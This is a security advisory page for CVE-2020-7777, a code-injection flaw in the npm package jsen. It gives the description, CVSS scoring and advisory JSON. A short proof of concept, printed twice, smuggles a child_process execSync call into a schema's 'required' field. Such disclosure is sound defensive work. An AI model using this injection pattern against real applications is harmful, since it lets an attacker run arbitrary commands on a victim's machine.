GHSA-VM64-CFQX-3698

Vulnerability from github – Published: 2022-02-10 20:18 – Updated: 2023-09-11 23:08
VLAI
Summary
Code Injection in jsen
Details

This affects all versions of package jsen. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so it is assumed that this is applicable. In particular the required field of the schema is not properly sanitized. The resulting string that is build based on the schema definition is then passed to a Function.apply();, leading to an Arbitrary Code Execution.

PoC

const jsen = require('jsen');
let schema = JSON.parse(
{ "type": "object", "properties": { "username": { "type": "string" } }, "required": ["\\"+process.mainModule.require(\'child_process\').execSync(\'touch malicious\')+\\""] }
);

const validate = jsen(schema); validate({});
Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7777"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-14T19:49:04Z",
    "nvd_published_at": "2020-11-23T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "This affects all versions of package jsen. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so it is assumed that this is applicable. In particular the required field of the schema is not properly sanitized. The resulting string that is build based on the schema definition is then passed to a `Function.apply();`, leading to an Arbitrary Code Execution.\n\n### PoC\n```js\nconst jsen = require(\u0027jsen\u0027);\nlet schema = JSON.parse(\n{ \u0026quot;type\u0026quot;: \u0026quot;object\u0026quot;, \u0026quot;properties\u0026quot;: { \u0026quot;username\u0026quot;: { \u0026quot;type\u0026quot;: \u0026quot;string\u0026quot; } }, \u0026quot;required\u0026quot;: [\u0026quot;\\\\\u0026quot;+process.mainModule.require(\\\u0026#39;child_process\\\u0026#39;).execSync(\\\u0026#39;touch malicious\\\u0026#39;)+\\\\\u0026quot;\u0026quot;] }\n);\n\nconst validate = jsen(schema); validate({});\n```",
  "id": "GHSA-vm64-cfqx-3698",
  "modified": "2023-09-11T23:08:53Z",
  "published": "2022-02-10T20:18:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7777"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bugventure/jsen/blob/master/lib/jsen.js#L875"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-JSEN-1014670"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code Injection in jsen"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.